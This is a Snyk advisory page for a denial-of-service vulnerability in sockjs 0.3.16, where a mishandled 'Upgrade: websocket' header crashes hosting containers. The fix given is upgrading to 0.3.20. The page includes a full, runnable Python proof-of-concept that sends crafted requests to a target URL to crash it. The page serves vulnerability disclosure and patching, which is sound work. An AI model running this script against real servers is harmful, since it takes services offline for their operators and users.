Homepage
About Snyk

sockjs@0.3.16 vulnerabilities

SockJS-node is a server counterpart of SockJS-client a JavaScript library that provides a WebSocket-like object in the browser. SockJS gives you a coherent, cross-browser, Javascript API which creates a low latency, full duplex, cross-domain communication

Go back to all versions of this package
Report a new vulnerability Found a mistake?

Direct Vulnerabilities

Known vulnerabilities in the sockjs package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Denial of Service (DoS)

sockjs is a JavaScript library (for browsers) that provides a WebSocket-like object.

Affected versions of this package are vulnerable to Denial of Service (DoS). Incorrect handling of Upgrade header with the value websocket leads in crashing of containers hosting sockjs apps.

PoC by Andrew Snow

import requests
import random
import argparse

def main():
  print('SockJS 0.3.19 Denial of Service POC')
  print('For educational purposes only')
  print('Author: @andsnw')
  print('------------')
  parser = argparse.ArgumentParser(description='SockJS 0.3.19 Denial of Service POC')
  parser.add_argument('--target', type=str, help='URL of target running vulnerable sockjs')
  parsed = parser.parse_args()
  target = vars(parsed)['target']
  if target == None:
    parser.print_help()
    exit()

  # Clean trailing /
  if target.endswith('/'):
    target = target[:-1]

  print ("Initiating at: %s" % target)

  # Create sockjs payload
  payloads = [
    ('%s/sockjs/' % target),
    ('%s/sockjs/598/' % target),
    ('%s/sockjs/598/8ko8gkpf/' % target),
  ]

  # Run 3 times with traversion
  for url in payloads:
    payload_url = "%s%s" % (url, random.randint(1000000000000000000,9999999999999999999))
    print('Requesting: %s' % payload_url)
    req = requests.get(url=payload_url, headers={
      'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
      'Cache-Control': 'max-age=0',
      'Accept-Language': 'en-US,en;q=0.5',
      'Connection': 'Upgrade',
      'Upgrade': 'websocket',
    })
    print("Status code: %s" % req.status_code)

  print ("Complete! Check if the container has crashed")

if __name__ == "__main__":
    main()

How to fix Denial of Service (DoS)?

Upgrade sockjs to version 0.3.20 or higher.

<0.3.20
Go back to all versions of this package